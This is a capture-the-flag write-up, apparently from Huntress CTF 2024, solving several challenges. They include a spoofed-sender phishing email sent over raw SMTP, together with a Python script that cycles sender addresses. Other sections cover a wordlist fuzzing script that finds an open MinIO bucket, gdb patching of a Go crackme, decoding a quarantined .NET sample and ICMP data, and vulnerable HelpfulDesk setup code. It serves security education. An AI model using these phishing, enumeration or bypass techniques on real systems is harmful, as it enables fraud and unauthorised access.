I achieved the 4th solve on this challenge, which is the closest I’ve come to a first blood. Initially, I focused on other challenges that were live at the same time, and after completing them, I turned my attention to this one. There was only a 5-minute difference between the first blood and my solve! :’)
Initial Steps
- Gather Team Names: I started by collecting all team names from Pyrch Data.
- Mailing Sarah Williams: I planned to loop over the names and send emails to Sarah Williams.
Manual Approach
I encountered some challenges with the DATA packet. To successfully terminate it, I needed to end with <CR><LF>.<CR><LF>
, but Linux by default only sends <LF>
. In contrast, macOS sends <CR>
and Windows sends both <CR><LF>
.
You can create a text document with your commands, then convert the newlines to the right ones (sed -i 's/$/\r/' email.txt
) and then send it to the server.
- -i: This option tells sed to edit the file in place.
- ’s/$/\r/’: This is the substitution command where:
- s: indicates that a substitution is to be performed.
- $: signifies the end of a line.
- \r: represents the carriage return character that needs to be added.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ cat -v email.txt
HELO pyrchdata.com
MAIL FROM:<jdaveren@pyrchdata.com>
RCPT TO:<swilliams@pyrchdata.com>
DATA
Hi Sarah, Joe from IT here. Can you provide the flag ASAP?
.
QUIT
$ sed -i 's/$/\r/' email.txt
$ cat -v email.txt
HELO pyrchdata.com^M
MAIL FROM:<jdaveren@pyrchdata.com>^M
RCPT TO:<swilliams@pyrchdata.com>^M
DATA^M
Hi Sarah, Joe from IT here. Can you provide the flag ASAP?^M
^M
.^M
QUIT^M
$ nc challenge.ctf.games 31717 < email.txt
220 red-phish-blue-phish-015467cc84f5bb45-677b8b8566-w6q62 Python SMTP 1.4.6
250 red-phish-blue-phish-015467cc84f5bb45-677b8b8566-w6q62
250 OK
250 OK
354 End data with <CR><LF>.<CR><LF>
250 OK. flag{54c6ec05ca19565754351b7fcf9c03b2}
221 Bye
Automatic
At first, I didn’t get the manual connection working due to the issue mentioned above so I wrote a python script (with the help of chatGPT to speed up the process).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import socket
import argparse
def smtp_interaction(smtp_server, port, recipients):
# Only consider Sarah Williams as the recipient
target_recipient = recipients[0] # First recipient, which is Sarah Williams
full_name, position, recipient_email = target_recipient
for recipient in recipients:
sender_full_name, sender_position, sender_email = recipient
print(f"\nTrying: MAIL FROM: {sender_email} | RCPT TO: {full_name} ({recipient_email})")
# Craft multiple messages for each interaction
messages = [
f"Subject: Important Task Reminder\nHi {full_name},\n\nThis is a reminder about your task. Please complete it ASAP.\n\nBest regards,\n{sender_full_name}\n{sender_position}\n",
f"Subject: URGENT FLAG REQUEST\nDear {full_name},\n\nWe need the flag immediately. The CEO is asking.\n\nBest,\n{sender_full_name}\n{sender_position}\n",
f"Subject: Follow-up on the Flag\nHi {full_name},\n\nFollowing up on our previous email, please provide the flag soon.\n\nSincerely,\n{sender_full_name}\n{sender_position}\n"
]
# Establish a socket connection
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
try:
sock.connect((smtp_server, port))
response = sock.recv(1024).decode() # Receive initial server response
print(f"Server Response: {response}")
for message in messages:
# Send SMTP commands
sock.sendall(f"HELO pyrchdata.com\r\n".encode())
response = sock.recv(1024).decode()
print(f"Server Response: {response}")
sock.sendall(f"MAIL FROM:<{sender_email}>\r\n".encode())
response = sock.recv(1024).decode()
print(f"Server Response: {response}")
sock.sendall(f"RCPT TO:<{recipient_email}>\r\n".encode())
response = sock.recv(1024).decode()
print(f"Server Response: {response}")
sock.sendall(b"DATA\r\n")
response = sock.recv(1024).decode()
print(f"Server Response: {response}")
sock.sendall(f"{message}\r\n.\r\n".encode())
response = sock.recv(1024).decode()
print(f"Server Response: {response}")
sock.sendall(b"QUIT\r\n")
response = sock.recv(1024).decode()
print(f"Server Response: {response}")
except Exception as e:
print(f"Failed to communicate with the SMTP server: {e}")
if __name__ == "__main__":
# Setting up argument parsing
parser = argparse.ArgumentParser(description='Send emails via SMTP server.')
parser.add_argument('smtp_server', type=str, help='The SMTP server address')
parser.add_argument('port', type=int, help='The SMTP server port number')
args = parser.parse_args()
smtp_server = args.smtp_server
port = args.port
# List of recipients (full name, position, email) to try
recipients = [
("Sarah Williams", "Head of Marketing", "swilliams@pyrchdata.com"),
("Emily Smith", "Chief Technology Officer", "esmith@pyrchdata.com"),
("Michael Lee", "Chief Operations Officer", "mlee@pyrchdata.com"),
("David Kim", "Lead Data Scientist", "dkim@pyrchdata.com"),
("Laura Chen", "Blockchain Specialist", "lchen@pyrchdata.com"),
("Joe Daveren", "IT Security Manager", "jdaveren@pyrchdata.com"),
("Natalie Rodriguez", "Cloud Infrastructure Lead", "nrodriguez@pyrchdata.com")
]
# Start the SMTP interaction
smtp_interaction(smtp_server, port, recipients)
When we got to the “IT Security Manager” jdaveren@pyrchdata.com, we got a hit.
1
2
3
4
5
Trying: MAIL FROM: jdaveren@pyrchdata.com | RCPT TO: Sarah Williams (swilliams@pyrchdata.com)
Server Response: 220 red-phish-blue-phish-rrpgd Python SMTP 1.4.6
Server Response: 250 OK
Server Response: 354 End data with <CR><LF>.<CR><LF>
Server Response: 250 OK. flag{54c6ec05ca19565754351b7fcf9c03b2}
Malibu
What do you bring to the beach?
NOTE: There are two things to note for this challenge.
This service takes a bit more time to start. If you see a Connection refused, please wait a bit more. This service will not immediately respond or prompt you… it is waiting for your input. If you just hit Enter, you will see what it is.
Extra tip, once you know what the service is, try connecting in a better way. Then use some of the context clues and critical thinking based off its response and the challenge description. You don’t need any > bruteforcing once you understand the infrastructure and enumerate. ;)
We are given the command to connect to a service via: nc challenge.ctf.games PORT.
After hitting enter we see:
1
2
3
4
5
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close
400 Bad Request
However, by making a random HTTP request (GET /malibu/beach
), we observed a 403 Forbidden response and noticed the server was running MinIO, an object storage service compatible with AWS S3.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
GET /malibu/beach HTTP/1.1
Host: challenge.ctf.games
Connection: close
HTTP/1.1 403 Forbidden
Accept-Ranges: bytes
Content-Length: 313
Content-Type: application/xml
Server: MinIO
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Origin
Vary: Accept-Encoding
X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
X-Amz-Request-Id: 17FB5705368E460E
X-Content-Type-Options: nosniff
X-Ratelimit-Limit: 59
X-Ratelimit-Remaining: 59
X-Xss-Protection: 1; mode=block
Date: Fri, 04 Oct 2024 19:36:02 GMT
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied.</Message><Key>beach</Key><BucketName>malibu</BucketName><Resource>/malibu/beach</Resource><RequestId>17FB5705368E460E</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
We decided to enumerate potential endpoints using a wordlist related to the beach theme and try to enumerate the endpoints (in reality this list was longer).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ echo -e "sunscreen\nbucket\ntowel\numbrella\nhat\nflipflops\nsunglasses\nsandcastle\ncooler\nchair" > wordlist.txt
$ cat fuzzscript.sh
#!/bin/bash
# Define the endpoint base URL
base_url="http://challenge.ctf.games:30242"
# Loop through the wordlist and make a request for each word
while read -r word; do
echo "Trying: $base_url/$word"
response=$(curl -s "$base_url/$word")
# Check if the response contains 'AccessDenied' or if it's a valid response
if [[ $response == *"AccessDenied"* ]]; then
echo "Access denied for: $word"
elif [[ $response != "" ]]; then
echo "Response for $word:"
echo "$response"
else
echo "No response for: $word"
fi
done < wordlist.txt
We found a hit with the /bucket
endpoint, which returned an XML listing of objects.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ ./fuzzscript.sh
Trying: http://challenge.ctf.games:30242/sunscreen
Access denied for: sunscreen
Trying: http://challenge.ctf.games:30242/bucket
Response for bucket:
<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Name>bucket</Name><Prefix></Prefix><Marker></Marker><MaxKeys>1000</MaxKeys><IsTruncated>false</IsTruncated><Contents><Key>0iXYbk3E/Y6miBoacngqJePIT</Key><LastModified>2024-10-06T17:30:12.798Z</LastModified><ETag>"142279059051ce10ef0c53297f099cc1"</ETag><Size>1147</Size><Owner><ID>02d6176db174dc93cb1b899f7c6078f08654445fe8cf1b6ce98d8855f66bdbf4</ID><DisplayName>minio</DisplayName></Owner><StorageClass>STANDARD</StorageClass></Contents>
...
...
...
<Contents><Key>zImcR6vP/gRMxV1ZC/stFELsLw/AXZ59Cq4/XJTI6IXO0TUUiqXb</Key><LastModified>2024-10-06T17:30:33.296Z</LastModified><ETag>"90c43fb636280252086781d15015361c"</ETag><Size>3054</Size><Owner><ID>02d6176db174dc93cb1b899f7c6078f08654445fe8cf1b6ce98d8855f66bdbf4</ID><DisplayName>minio</DisplayName></Owner><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>zuYDyk96qv3fXZnM</Key><LastModified>2024-10-06T17:30:39.998Z</LastModified><ETag>"7c9c3556c5f911d02d557bb5224784a2"</ETag><Size>1501</Size><Owner><ID>02d6176db174dc93cb1b899f7c6078f08654445fe8cf1b6ce98d8855f66bdbf4</ID><DisplayName>minio</DisplayName></Owner><StorageClass>STANDARD</StorageClass></Contents></ListBucketResult>
Trying: http://challenge.ctf.games:30242/towel
Access denied for: towel
Trying: http://challenge.ctf.games:30242/umbrella
Access denied for: umbrella
Trying: http://challenge.ctf.games:30242/hat
Access denied for: hat
Trying: http://challenge.ctf.games:30242/flipflops
Access denied for: flipflops
Trying: http://challenge.ctf.games:30242/sunglasses
Access denied for: sunglasses
Trying: http://challenge.ctf.games:30242/sandcastle
Access denied for: sandcastle
Trying: http://challenge.ctf.games:30242/cooler
Access denied for: cooler
Trying: http://challenge.ctf.games:30242/chair
Access denied for: chair
We set up the MinIO client and try to copy the bucket contents locally:
1
2
3
4
5
6
7
8
9
10
11
$ wget https://dl.min.io/client/mc/release/linux-amd64/mc
$ sudo mv mc /usr/local/bin/
$ chmod +x /usr/local/bin/mc
$ mc alias set myminio http://challenge.ctf.games:31142
Enter Access Key:
Enter Secret Key:
Added `myminio` successfully.
$ mc cp --recursive myminio/bucket bucket
.../AflCHJJDqzEDBWyI: 203.53 KiB / 203.53 KiB
We can now try to search for the “flag” keyword in the files.
1
2
$ grep -ir "flag" bucket
bucket/bucket/gF3VuwCu/AuZpaZFr/77Cijdg5/X8eVFgvX/z1nv9fnlCKH1bJB5:jJ4r5FQeRaoBST4CFjvCLOV8Ndr1uIqFMBXfQbxlMRWFdROw6Q9hVuljSsIcjDXAaCQ6zlEw8izVeJmcYqYpbMBUbC40ZiJAzQGTDb96mAi52ERPf5HPItKjBCgrMb7ZzM5GFnjlAZ1u002XZx2yOOXjdsqq01CZeWOoEWvyG55aknNUB8CRp1WO8sKCNqWeYHeDIcnXGvYBhVjX5KyY6bAFQA7wI62A6REzEfAezbHrQEMqnAgQQtkN8EWWpAMYXvHgblCWOpGj7lDWwaLqUqMWf1uLOYe2Vh90oqV07GLUMMuWVB12WQXKDg5WC2F4FoEuBfMMFQEuZ6A67JSnGjYEBOPgklgDwbXfG6c48Fmg3WFXrc7JHQpvBE6qUjIYquBAvPjvsg16CbpbyzdgstoJAL3fEE65ndgqDQ09ZdL2Jattcfy1ISJG1r1XMmn9ILllHtXSee468nrUPr6oGivHLEP6rkhzBcTlXW1Kvnbw8PeCJTlUsLtFSKG9ifSu4qaoZ74aJodJj2Hc1gij2YxpNFF99xvaSwWM9Q7Hu55HjLVp1IH1iCGNweETJvDcZg319USWuh8OTut7eNCWU43QMQtBk58nuznmN9OtxW74rUl27AzHH1jxOkZmcpNOee3ZpNJzAqpU9yvXrUyPiyP3CuF4xjsx8lRUMNxjMDF3ZpjvBBiDeOfPQxzlxXuwH6gceJKMUp1xBIr8ZMi48AMmdWGArXOvvszGhgEPBoKYqMbzRy4goNQSReHL2f6lpqm01WbuE04BhCa6ThRGrzyDS2cfPBfutD9gDdwordgk0Owfn6Ep18TMkkjq2QuFeFwZUnfuCBe3KVuIzIYW4fHOUitXucOEpXxbPbJBt8JEW7kqX3FoC6wCi3NwVrYEmdflag{800e6603e86fe0a68875d3335e0daf81}BDFNcdcMi6hGsrurLsXbgpkz4SyehdZySWLeWVjUOpNgeTGSNmjg1SvybQSVJwgn8p3Lf4mulZlLPmQH7sOirtPyjwWxPR4K0nEiLyQsX1L8gsvGZLv2N97mEjzWbZXoTtAU6via0t7khacOYUGh4OnTFS4868o2WQQj4HprN7j4mDs818xPOWTTAegDaDWsM0obXSJMgPSpOuKcOjfmsIVaOzstcUHPJvkLxvPmQhV0OvtiyLhDuZlddMUjdfoa5jt8CxcLdr304292gCEEaMfqKxa69bJKcJ8m0efbSl01VsjlNhxaaLXL7xICeLjm39PNNuFoGQsNkIZyozEk1i8MqFGUl6mI1WrK4UQs5U79CYI738aNIAjGmZK8FWZWZXC9sSP9j9jleH01OE1zrNDSeUeaiVpnMD4Qj7hQ5sKSZ7XAgfTsONeDaUwNsr7lBqjkGsbz8gvHr2gcjQOqYunb7G083iiWyVVLnqtM6RPW7BzoQR2PA6glXtdg7KvhBmQPerE5XCXf0ryXUV0igyEahGEot3yNdE1dQoqaN80bwoQ54sTgYP4kMWbGPipgvUgV9tQDl9NV1q5zTHqikR6UyGS3lU9dDERGCassPbuUzx8jC1pBWXguZW1ZROMI19EjJPGNyleg393j3OfbN3Z2483AjZ53Om6BwzbojPVAkZPFthk9DVGntp9fhfObmv77r2CX733QeSYxEELFFkHXSvxfoMRckJlyr035oYcnl0UhVBeIcuCUmFp4wYwpso1fPfJkC9p5QSHpU2tbhK86z9A9EHs8Q7Oq2PGSEA32YD6xStEE69308I6B0PxrlbIuJ9k5qvGiqALZK94T6hUElFMKrhpqyOq2zGMIJsHZKRJRoMS6tljKvgCOlDzaxkpM3Ju7qiX3f2Rb8pZdcAgeUtJ8wZqPvQyv3q2VtuEXpOoX6vh2hmKfRNVABVwlS7gzgYMZfvARGsfZsI2GY6f97jd79T15y4Yb56rkJyxsWGLwWgW5aYuYKqSRqBJwavt4BKCf4UlAIF10i5VNklwVfrvaTYDrNGPmkyLDilT4MYmxyDsIrYn
We found the flag: flag{800e6603e86fe0a68875d3335e0daf81}
.
OSINT
Ran Somwhere
Thanks for joining the help desk! Here’s your first ticket of the day; can you help the client out?
We get an eml file, which we open with a random online eml viewer. Inside the mail there is a text file and some other files.
The text file states:
Hey There! You should be more careful next time and not leave your computer unlocked and unattended! You never know what might happen. Well in this case, you lost your flash drive. Don’t worry, I will keep it safe and sound. Actually you could say it is now ‘fortified’. You can come retrieve it, but you got to find it. I left a couple of files that should help.- Vigil Ante
There is also a link to a website, that doesn’t contain much interesting information except for the mention of “Maryland”.
Looking at those two extra files, we can tell they are photos so we add a jpg
extension.
- On photo 1, we see the back of a special architectural building which has a bit of castle vibe.
- On photo 2, there is a part of a marker that we can see.
- We started by searching “castle frederick park.” This led us to “The City of Frederick Parks and Recreation,” which featured a building style similar to photo 1, although the color looked off but it is located in Maryland.
- We noticed that the building had “Maryland National Guard” signage on it.
- Next, we searched for “Maryland National Guard Frederick Park” and found the Frederick Armory on Wikipedia.
- Searching for “Frederick Armory maps” helped us locate the exact marker from the original photo. We discovered it on the Historical Marker Database.
We need to put in “Frederick Armory” as the flag.
Reverse Engineering
GoCrackMe1
TENNNNNN-HUT! Welcome to the Go Dojo, gophers in training!
Go malware is on the rise. So we need you to sharpen up those Go reverse engineering skills. We’ve written three simple CrackMe programs in Go to turn you into Go-binary reverse engineering ninjas!
First up is the easiest of the three. Go get em!
We get a go binary, we took these steps to get the flag:
- use
gdb
to load the binary, and you can then inspect various aspects of the program, such as its functions and memory layout. - Listing Functions: By running
info functions
, you can list all the defined functions within the program. Some of the key functions in this binary includemain.main
andmain.checkCondition
, which seem to be important for the challenge. - Setting Breakpoints: Next, you set a breakpoint in the
main.main
function, which is a common entry point in Go programs. This allows you to pause the execution and inspect what’s happening inside. - Running the Program: After setting the breakpoint, you can run the program using
run
. This will start execution, and the program will pause once it hits the breakpoint. At this point, you can inspect the program’s state. - Disassembling the Function: Disassembling the main.main function reveals the assembly code. The key part of the disassembled code shows an interesting segment of memory where some values are being moved. (
=>
shows the break) - Patching the Code: By analyzing the function, you notice that after checking a condition, the program jumps over important code if the condition fails. To bypass this, you modify the
jump
instruction toNOP
(no operation), effectively patching the binary:set {char}0x4836cf = 0x90
- Continuing Execution: With the patched instruction, you continue the execution using
continue
.
Full code run:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
$ gdb GoCrackMe1
(gdb) info functions
All defined functions:
File /app/src/GoCrackMe1/GoCrackMe1.go:
void main.checkCondition(bool);
void main.main(void);
File /usr/local/go/src/errors/errors.go:
void errors.(*errorString).Error;
File /usr/local/go/src/errors/wrap.go:
void errors.init(void);
File /usr/local/go/src/fmt/format.go:
void fmt.(*fmt).fmtBoolean;
void fmt.(*fmt).fmtBs;
void fmt.(*fmt).fmtC;
void fmt.(*fmt).fmtFloat;
void fmt.(*fmt).fmtInteger;
void fmt.(*fmt).fmtQ;
void fmt.(*fmt).fmtQc;
void fmt.(*fmt).fmtS;
void fmt.(*fmt).fmtSbx;
void fmt.(*fmt).fmtUnicode;
void fmt.(*fmt).pad;
void fmt.(*fmt).padString;
void fmt.(*fmt).truncate;
void fmt.(*fmt).writePadding;
File /usr/local/go/src/fmt/print.go:
void fmt.(*pp).Write;
void fmt.(*pp).badVerb;
--Type <RET> for more, q to quit, c to continue without paging--q
Quit
(gdb) break main.main
Breakpoint 1 at 0x48360f: file /app/src/GoCrackMe1/GoCrackMe1.go, line 22.
(gdb) continue
The program is not being run.
(gdb) run
Starting program: /media/sf_Shared/huntress-ctf-2024/GoCrackMe1
[New LWP 626297]
[New LWP 626298]
[New LWP 626300]
[New LWP 626299]
Thread 1 "GoCrackMe1" hit Breakpoint 1, main.main () at /app/src/GoCrackMe1/GoCrackMe1.go:22
warning: 22 /app/src/GoCrackMe1/GoCrackMe1.go: No such file or directory
(gdb) disassemble
Dump of assembler code for function main.main:
0x0000000000483600 <+0>: lea -0x8(%rsp),%r12
0x0000000000483605 <+5>: cmp 0x10(%r14),%r12
0x0000000000483609 <+9>: jbe 0x483767 <main.main+359>
=> 0x000000000048360f <+15>: sub $0x88,%rsp
0x0000000000483616 <+22>: mov %rbp,0x80(%rsp)
0x000000000048361e <+30>: lea 0x80(%rsp),%rbp
0x0000000000483626 <+38>: movups %xmm15,0x32(%rsp)
0x000000000048362c <+44>: movups %xmm15,0x38(%rsp)
0x0000000000483632 <+50>: movups %xmm15,0x48(%rsp)
0x0000000000483638 <+56>: movabs $0x6334342d31373a30,%rdx
0x0000000000483642 <+66>: mov %rdx,0x32(%rsp)
0x0000000000483647 <+71>: movabs $0x306764336060636f,%rdx
0x0000000000483651 <+81>: mov %rdx,0x3a(%rsp)
0x0000000000483656 <+86>: movabs $0x32666e6063336363,%rdx
0x0000000000483660 <+96>: mov %rdx,0x42(%rsp)
0x0000000000483665 <+101>: movabs $0x34343265306f6e63,%rdx
0x000000000048366f <+111>: mov %rdx,0x4a(%rsp)
0x0000000000483674 <+116>: movl $0x30663533,0x52(%rsp)
0x000000000048367c <+124>: movw $0x2b6e,0x56(%rsp)
0x0000000000483683 <+131>: lea 0x8396(%rip),%rax # 0x48ba20
0x000000000048368a <+138>: mov $0x26,%ebx
0x000000000048368f <+143>: mov %rbx,%rcx
0x0000000000483692 <+146>: call 0x446a80 <runtime.makeslice>
0x0000000000483697 <+151>: xor %ecx,%ecx
0x0000000000483699 <+153>: jmp 0x4836a9 <main.main+169>
0x000000000048369b <+155>: movzbl 0x32(%rsp,%rcx,1),%edx
0x00000000004836a0 <+160>: xor $0x56,%edx
0x00000000004836a3 <+163>: mov %dl,(%rax,%rcx,1)
0x00000000004836a6 <+166>: inc %rcx
0x00000000004836a9 <+169>: cmp $0x26,%rcx
--Type <RET> for more, q to quit, c to continue without paging--
0x00000000004836ad <+173>: jl 0x48369b <main.main+155>
0x00000000004836af <+175>: mov %rax,%rbx
0x00000000004836b2 <+178>: mov $0x26,%ecx
0x00000000004836b7 <+183>: xor %eax,%eax
0x00000000004836b9 <+185>: call 0x44ac60 <runtime.slicebytetostring>
0x00000000004836be <+190>: mov %rax,0x58(%rsp)
0x00000000004836c3 <+195>: mov %rbx,0x28(%rsp)
0x00000000004836c8 <+200>: call 0x483500 <main.checkCondition>
0x00000000004836cd <+205>: test %al,%al
0x00000000004836cf <+207>: je 0x483719 <main.main+281>
0x00000000004836d1 <+209>: movups %xmm15,0x70(%rsp)
0x00000000004836d7 <+215>: mov 0x58(%rsp),%rax
0x00000000004836dc <+220>: mov 0x28(%rsp),%rbx
0x00000000004836e1 <+225>: call 0x409c40 <runtime.convTstring>
0x00000000004836e6 <+230>: lea 0x81f3(%rip),%rcx # 0x48b8e0
0x00000000004836ed <+237>: mov %rcx,0x70(%rsp)
0x00000000004836f2 <+242>: mov %rax,0x78(%rsp)
0x00000000004836f7 <+247>: mov 0xafc02(%rip),%rbx # 0x533300 <os.Stdout>
0x00000000004836fe <+254>: lea 0x37b93(%rip),%rax # 0x4bb298 <go:itab.*os.File,io.Writer>
0x0000000000483705 <+261>: lea 0x70(%rsp),%rcx
0x000000000048370a <+266>: mov $0x1,%edi
0x000000000048370f <+271>: mov %rdi,%rsi
0x0000000000483712 <+274>: call 0x47cdc0 <fmt.Fprintln>
0x0000000000483717 <+279>: jmp 0x483757 <main.main+343>
0x0000000000483719 <+281>: movups %xmm15,0x60(%rsp)
0x000000000048371f <+287>: lea 0x81ba(%rip),%rdx # 0x48b8e0
0x0000000000483726 <+294>: mov %rdx,0x60(%rsp)
0x000000000048372b <+299>: lea 0x37686(%rip),%rdx # 0x4badb8
0x0000000000483732 <+306>: mov %rdx,0x68(%rsp)
0x0000000000483737 <+311>: mov 0xafbc2(%rip),%rbx # 0x533300 <os.Stdout>
0x000000000048373e <+318>: lea 0x37b53(%rip),%rax # 0x4bb298 <go:itab.*os.File,io.Writer>
--Type <RET> for more, q to quit, c to continue without paging--
0x0000000000483745 <+325>: lea 0x60(%rsp),%rcx
0x000000000048374a <+330>: mov $0x1,%edi
0x000000000048374f <+335>: mov %rdi,%rsi
0x0000000000483752 <+338>: call 0x47cdc0 <fmt.Fprintln>
0x0000000000483757 <+343>: mov 0x80(%rsp),%rbp
0x000000000048375f <+351>: add $0x88,%rsp
0x0000000000483766 <+358>: ret
0x0000000000483767 <+359>: call 0x45c340 <runtime.morestack_noctxt>
0x000000000048376c <+364>: jmp 0x483600 <main.main>
End of assembler dump.
(gdb) set {char}0x4836cf = 0x90
(gdb) continue
Continuing.
flag{bb59566e21f55e5680d589f3dbbec0f8}
python .\bf2.py Enter the target URL (use {input} in place of the value to test): http://challenge.ctf.games:32623/enter={input} Enter number of threads: 15 Enter the maximum length of the input: 9 dfdadd - 30478/46656 Correct input found: bfdaec Response: Correct! Here is your flag: flag{dc9edf4624504202eec5d3fab10bbccd}
PS C:\Users\Gillis> ssh -p 32062 user@challenge.ctf.games –norc –noprofile^C PS C:\Users\Gillis> ssh -p 32062 user@challenge.ctf.games “bash –noprofile –norc” user@challenge.ctf.games’s password: ls flag.txt cat flag.txt flag{36a0354fbf59df454596660742bf09eb}
X-Ray
The SOC detected malware on a host, but antivirus already quarantined it… can you still make sense of what it does?
There is a tool (DeXRAY) that can decrypt quarantined files.
1
2
3
4
PS C:\Users\flare\Downloads> perl "C:\Users\flare\Desktop\Tools\Utilities\DeXRAY.pl" x-ray
Processing file: 'x-ray'
-> 'x-ray.00000184_Defender.out' - Defender File
-> ofs='184' (000000B8)
We get an “.out” file, when we analyse it it seems to be a DLL.
1
2
PS C:\Users\flare\Downloads> file .\x-ray.00000184_Defender.out
.\x-ray.00000184_Defender.out: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
We open the out file in dnSpy to get the source code. There are two functions being used in main
: otp
and load
. This program converts two hex values to bytes and then performs and XOR to get the final value. We have both values so we can calculate the final value.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private static byte[] otp(byte[] data, byte[] key)
{
byte[] array = new byte[data.Length];
for (int i = 0; i < data.Length; i++)
{
array[i] = data[i] ^ key[i % key.Length];
}
return array;
}
// Token: 0x0600002C RID: 44 RVA: 0x000032D8 File Offset: 0x000014D8
private static byte[] load(string hex)
{
int length = hex.Length;
byte[] array = new byte[length / 2];
for (int i = 0; i < length; i += 2)
{
array[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);
}
return array;
}
// Token: 0x0600002D RID: 45 RVA: 0x00003318 File Offset: 0x00001518
public static void Main(string[] args)
{
new StageTwo().main("", new StreamReader(Console.OpenStandardInput()));
byte[] array = StageTwo.load("15b279d8c0fdbd7d4a8eea255876a0fd189f4fafd4f4124dafae47cb20a447308e3f77995d3c");
byte[] array2 = StageTwo.load("73de18bfbb99db4f7cbed3156d40959e7aac7d96b29071759c9b70fb18947000be5d41ab6c41");
byte[] array3 = StageTwo.otp(array, array2);
Encoding.UTF8.GetString(array3);
}
We create a script that does it for us.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import binascii
# Function to perform XOR between two byte arrays
def otp(data, key):
result = bytearray(len(data))
for i in range(len(data)):
result[i] = data[i] ^ key[i % len(key)]
return result
# Function to convert a hex string to a byte array
def load(hex_str):
return bytearray(binascii.unhexlify(hex_str))
hex_data = "15b279d8c0fdbd7d4a8eea255876a0fd189f4fafd4f4124dafae47cb20a447308e3f77995d3c"
hex_key = "73de18bfbb99db4f7cbed3156d40959e7aac7d96b29071759c9b70fb18947000be5d41ab6c41"
array_data = load(hex_data)
array_key = load(hex_key)
# Performing the XOR operation (OTP)
result = otp(array_data, array_key)
print(result.decode('utf-8'))
When we run the python script, we get the flag:
1
2
PS C:\Users\Gillis\Downloads> python .\xray.py
flag{df26090565cb329fdc8357080700b621}
Scripting
Echo chamber
Is anyone there? Is anyone there? I’m sending myself the flag! I’m sending myself the flag!
We get a pcap that we need to analyse, we analyze the .pcap
file and extract the hidden flag from the ICMP packets.
Extract ICMP Data: Use
tshark
to filter ICMP packets and retrieve the data field. This command extracts only the first two characters of each line (in hex) and converts them to ASCII:1
tshark -r echo_chamber.pcap -Y "icmp" -T fields -e data | cut -c1-2 | xxd -r -p > extracted_ascii.txt
Y "icmp"
: Filters the capture to include only ICMP packets.T fields -e data
: Extracts the data field from each ICMP packet.cut -c1-2
: Keeps only the first two characters from each hex-encoded line.xxd -r -p
: Converts the hex values to ASCII, saving the result in extracted_ascii.txt.
Decode and Clean Up: The output in extracted_ascii.txt contains the flag but it has duplicate characters that we need to clean up to get the flag.
OOxx..ttEEXXttccaappttiioonnffllaagg{{66bb3388aaaa991177aa775544dd88bbff338844ddcc7733ffddee663333aadd}}ssDD��ttEEXXttccaappttiioonn::lliinneess11��==��IIEENNDD��BB��
Web
HelpfulDesk
HelpfulDesk is the go-to solution for small and medium businesses who need remote monitoring and management. Last night, HelpfulDesk released a security bulletin urging everyone to patch to the latest patch level. They were scarce on the details, but I bet that can’t be good…
We get a homepage of a helpdesk website, there is a page for security updates. We notice there is a mention of a security update in version 1.2 but the webpage is still on version 1.1.
We download the source code and open the Helpfuldesk.dll in “dnSpy” to decompile and get the code. When we perform a diff on the files we find out this controller has received an update.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
namespace HelpfulDesk.Controllers
{
// Token: 0x0200001F RID: 31
[NullableContext(1)]
[Nullable(0)]
public class SetupController : Controller
{
// Token: 0x060000F9 RID: 249 RVA: 0x000041AC File Offset: 0x000023AC
public IActionResult SetupWizard()
{
if (System.IO.File.Exists(this._credsFilePath))
{
string requestPath = base.HttpContext.Request.Path.Value.TrimEnd('/');
if (requestPath.Equals("/Setup/SetupWizard", StringComparison.OrdinalIgnoreCase))
{
return this.View("Error", new ErrorViewModel
{
RequestId = "Server already set up.",
ExceptionMessage = "Server already set up.",
StatusCode = 403
});
}
}
return this.View();
}
// Token: 0x060000FA RID: 250 RVA: 0x0000422C File Offset: 0x0000242C
[HttpPost]
public IActionResult SetupWizard(string username, string password)
{
string filePath = Path.Combine(Directory.GetCurrentDirectory(), "credentials.json");
List<AuthenticationService.UserCredentials> credentials = new List<AuthenticationService.UserCredentials>
{
new AuthenticationService.UserCredentials
{
Username = username,
Password = password,
IsAdmin = true
}
};
string json = JsonSerializer.Serialize<List<AuthenticationService.UserCredentials>>(credentials, null);
System.IO.File.WriteAllText(filePath, json);
return this.RedirectToAction("SetupComplete");
}
